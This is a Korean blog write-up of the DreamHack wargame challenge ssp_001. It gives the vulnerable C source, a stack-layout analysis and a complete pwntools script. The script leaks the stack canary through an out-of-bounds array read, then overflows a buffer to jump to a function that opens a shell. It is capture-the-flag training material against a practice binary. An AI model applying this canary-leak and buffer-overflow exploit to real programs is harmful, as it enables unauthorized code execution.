Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage6_문제풀이(ssp_001) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage6_문제풀이(ssp_001)

CIDY 2022. 7. 2. 02:23
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

예전에 풀었던건데 순서대로 밟아나가는 중이니 그냥 로컬에서 다시 풀겠다. (그땐 머리에 든 거 없이 풀기도 했고...)

 

일단 누가봐도 get_shell로 뛰는건데, 가는길에 카나리 릭해주고 가야 함.

 

 

스택을 보면... rbp - 0x94 == idx -> name_len -> dummy(2바이트) -> select -> box -> name ->  canary -> summy(4바이트) -> rbp 이렇게 쌓여 있다. 

 

선언 순서대로 쌓이는 거 아니니까 꼭 확인하고 가자

 

 

 

 

이렇게 생겼고, 그래서 box의 배열요소를 확인해주는 함수에 0x80 ~ 0x83의 값을 집어넣어 카나리를 릭해올 수 있다.

 

from pwn import *

p = process("./ssp_001")

get_shell = 0x80486b9

canary = b""

p.send(b"P")
p.sendline(str(0x83))
p.recvuntil(b"is : ")
canary += p.recvn(2)

p.send(b"P")
p.sendline(str(0x82))
p.recvuntil(b"is : ")
canary += p.recvn(2)

p.send(b"P")
p.sendline(str(0x81))
p.recvuntil(b"is : ")
canary += p.recvn(2)

p.send(b"P")
p.sendline(str(0x80))
p.recvuntil(b"is : ")
canary += p.recvn(2)

canary = int(canary, 16)
print(hex(canary))

p.send(b"E")
p.sendline(str(0x1000))

pay = b"A" * 0x40
pay += p32(canary)
pay += b"B" * 0x4
pay += b"C" * 0x4
pay += p32(get_shell)

p.send(pay)
p.interactive()

 

그리고 sacnf에 숫자 보내줄 때는 이렇게 str로 보내줘야 한다. 거꾸로 받아와서 나중에 패킹해줬다. 

 

 

 

잘 됨.